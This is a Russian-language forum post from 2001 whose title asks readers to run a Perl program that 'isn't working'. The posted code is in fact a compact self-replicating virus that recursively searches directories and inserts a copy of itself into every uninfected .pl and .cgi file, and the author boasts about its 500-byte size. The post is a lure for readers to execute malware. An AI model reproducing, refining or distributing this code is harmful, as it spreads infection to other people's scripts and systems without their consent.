Легенда:
 новое сообщение
 закрытая нитка
 новое сообщение
 в закрытой нитке
 старое сообщение
|
- Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
- Новичкам также крайне полезно ознакомиться с данным документом.
[Perl] Люди, запустите прогу, а то штой-то не работает :((( 22.05.01 00:04 Число просмотров: 711
Автор: izlam Статус: Незарегистрированный пользователь
|
$z='#x0DEAD';g();
#x0DEAD
sub g{my$y=sub{local$_;open(A,$0);$_=join'',<A>;close(A);open(I,my$f=shift);my@m=;close(I);open(I,">$f");print I($m[0],"\n\$z='#x0DEAD';g();",@m[1..$#m],"\n",/(^$z.*)/ms);close(I)};my$x=sub{local;open(I,shift);$_=join'',;close(I);return/^$z$/m};my($d,$k)=(shift().'/');opendir(D,$d);my@e=readdir(D);closedir(D);my@h=grep{/^[^\.]/&&-d$d.$_}@e;map{$x->($d.$_)|$y->($d.$&&++$k)}grep{/\.(pl|cgi)$/}grep{-f$d.$_}@e;if(!$k){while(@h){$k=g($d.pop(@h))||last}}$k}
цопирайты тоже мои :)))
500 байт ровно с учетом 3-x 0D0A (под виндой писалось, посему не уверен, шта под nix-ом работать будет, но должно, протестируюте, плиз)
ну конечно бы еще не помешало первой строкой указать путь к интерТРЕПатору, но тогда 500 байт не получится... :(((
|
|
|
подробно о проекте
Анализ криптографических сетевых...
[Perl] Люди, запустите прогу, а то штой-то не работает :((( - izlam